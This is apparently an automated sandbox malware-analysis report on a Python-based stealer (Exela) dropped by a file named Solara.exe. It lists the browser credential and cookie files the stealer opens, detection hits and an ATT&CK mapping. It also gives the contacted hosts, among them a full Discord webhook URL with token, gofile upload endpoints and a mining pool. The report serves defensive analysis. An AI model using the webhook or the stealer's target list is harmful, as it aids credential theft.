Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\security_state
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\to-be-removed
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f70cc77-7837-4f44-9c31-7de59e446d67
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\temporary
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache

Yara detected Generic Python Stealer

Source: Yara match	File source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 0000004D.00000002.2093996201.0000019BB72E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2087167617.0000019BB60C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Exela Stealer

Source: Yara match	File source: 0000004D.00000003.2068669850.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2070969941.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2072039698.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2083587274.0000019BB56B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2074477936.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2084894174.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2069028034.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Python Stealer

Source: Yara match	File source: 0000004D.00000002.2083587274.0000019BB56B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Yara detected Generic Python Stealer

Source: Yara match	File source: 0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	11 Windows Service	11 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	221 Registry Run Keys / Startup Folder	111 Process Injection	21 Obfuscated Files or Information	Security Account Manager	44 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	221 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	26 Security Software Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	111 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Solara.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.Cassiopeia
Solara.exe	100%	Avira	TR/Dropper.Gen
Solara.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe	100%	Avira	HEUR/AGEN.1306040
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe	100%	Avira	HEUR/AGEN.1306040
C:\Users\user\AppData\Local\Temp\Exela.exe	100%	Avira	HEUR/AGEN.1306040
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe	47%	ReversingLabs	Win64.Trojan.Cerbu
C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	83%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	47%	ReversingLabs	Win64.Trojan.Cerbu
C:\Users\user\AppData\Local\Temp\Exela.exe	47%	ReversingLabs	Win64.Trojan.Cerbu
C:\Users\user\AppData\Local\Temp\Solara.exe	83%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\_MEI70882\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_cffi_backend.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_parser.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_writer.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\mask.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\reader_c.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\frozenlist\_frozenlist.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\multidict\_multidict.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\propcache\_helpers_c.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\python310.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI70882\yarl\_quoting_c.cp310-win_amd64.pyd	0%	ReversingLabs
C:\Windows\Temp\ypynqohyxqjk.sys	5%	ReversingLabs

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
ip-api.com	208.95.112.1	true	false	high
discordapp.com	162.159.134.233	true	false	high
pool.hashvault.pro	192.248.189.11	true	false	high
store1.gofile.io	45.112.123.227	true	false	high
api.gofile.io	51.91.7.6	true	false	high

Contacted URLs

Name	Malicious	Reputation
https://discordapp.com/api/webhooks/1320429670621118475/ZA2SDlHOyGg_8gIHOPb_StHSHJUvDXjQVsMohQrFJXzcZqXUB4PdHnGLRGgaGXchQyP9	false	high
http://ip-api.com/json	false	high
https://api.gofile.io/getServer	false	high
https://store1.gofile.io/uploadFile	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1440404382.000001F990071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.m	powershell.exe, 00000003.00000002.1458447080.000001F9EFBD2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1674670295.0000025669D25000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/pyca/cryptography/issues/8996	Exela.exe	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.1405932041.000001F980229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1405932041.000001F980229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1510441641.0000025600228000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1440404382.000001F990071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.microsoft.co	powershell.exe, 00000008.00000002.1694379843.000002566BD66000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.mic	powershell.exe, 00000008.00000002.1694379843.000002566BD66000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000008.00000002.1638195796.000002561006E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/pyca/cryptography/issues/9253	Exela.exe	false	high
https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file	Exela.exe	false	high
http://crl.micft.cMicRosof	powershell.exe, 00000008.00000002.1694379843.000002566BD66000.00000004.00000020.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.1405932041.000001F980001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1510441641.0000025600001000.00000004.00000800.00020000.00000000.sdmp	false	high
